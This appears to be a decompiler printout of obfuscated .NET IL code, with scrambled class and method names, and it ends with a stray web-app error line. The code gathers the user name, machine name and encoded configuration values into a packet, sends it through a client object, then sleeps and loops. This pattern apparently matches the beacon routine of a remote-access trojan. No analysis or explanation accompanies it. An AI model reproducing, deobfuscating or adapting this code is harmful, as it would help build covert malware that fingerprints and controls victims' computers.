ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::mnaEGMtshRweATXeKXWBlx()
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldloc V_6
ldloc V_7
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::DOtkMSyLWzcv(System.String,System.String)
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::BGSCFfinFsulwAhcQGg
stloc V_10
ldloc V_10
brfalse IL_0386: nop
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::bMNgmHKebZMWPzvwpu()
newarr System.Object
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::ojHRvOSsYlOKjdBZaMUmq()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::XuXHjvoLOAsN()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::IKIVyhHuQbGEfsUuRRTPmtN()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::pIbIbpohxE()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
stelem.ref <null>
call System.Byte[] EKPhEXClTiCfITTBayDwEHEWg.zNIfENsMdVZxLr::FjUHeTJdpUVw(System.Object[])
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::VcvExRIaSsdEIcnswHCDVU(System.Byte[])
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
newobj System.Void jCMngWQAuKqhWLLQVjelO.bIomJHzwGb::.ctor(EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa)
stfld jCMngWQAuKqhWLLQVjelO.bIomJHzwGb EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::mKsAZxpLcKgdXXooLnZAa
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
newobj System.Void jCMngWQAuKqhWLLQVjelO.xXkJMZyrucuxySJH::.ctor(EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa)
stfld jCMngWQAuKqhWLLQVjelO.xXkJMZyrucuxySJH EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::UvKkYsRdODb
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::dsNZUjVIwwbwIa()
newarr System.Object
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::lkdUmDeyJFfvCS()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::lHgFIjSpSrB()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::FOxtrFTiagGyIiRYmq()
call System.Byte[] jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::OZCBSRqJLdzCSKRQ()
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::ieJYaLyuET()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::MnTDhKZNoVicszmrFCZ
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::oSpVqNzPiJRBCofEWPshtE()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::kZurxkkmomnFAtiypucvBgH
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::kwwpWhtLPO()
call System.String System.Environment::get_UserName()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::VIhrfLogaFieWvrJZMaZp()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::soJnsDYXIsQcGkuHceMmv()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::MyesfNgZDXABgZMMwsP
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::REYtXchpyBmRwrvjXoIWv()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::rsOYjpLwzIJuioPoyvlNvVW
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::TTqFbaRhDcqH()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::QiyRqNLGYsnTkGJqCkavNGS
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::EOygwpSuOppoDLsG()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::enyKkcrOTVPM
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::eYoJlFDRBHYQyKaoV()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::KXNBHCvVWWHAqtGmxDWqAvD
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::VZHMgcOFdBRYOYafxRTNTJv()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::jeNBpFWYYMkVDt
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::uhudQfOzhTXhQS()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::UZnOsyeuldMsCWAYPW
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::LvfbBAcszpSNJVIYMesRzik()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::AKEjiJQebmRqDRRXYwWtpI
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::ynRrvBtPfZHRnhtNRovnyR()
call System.String jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::LPnHbZfGgtVuy()
stelem.ref <null>
call System.Byte[] EKPhEXClTiCfITTBayDwEHEWg.zNIfENsMdVZxLr::FjUHeTJdpUVw(System.Object[])
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::VcvExRIaSsdEIcnswHCDVU(System.Byte[])
nop <null>
nop <null>
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::eYvLDXAsdKr()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::OjlxyvCijNqlekezKm()
ceq <null>
stloc V_11
ldloc V_11
brtrue IL_00F5: nop
nop <null>
leave IL_03BA: ret
pop <null>
nop <null>
nop <null>
leave IL_03BA: ret
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙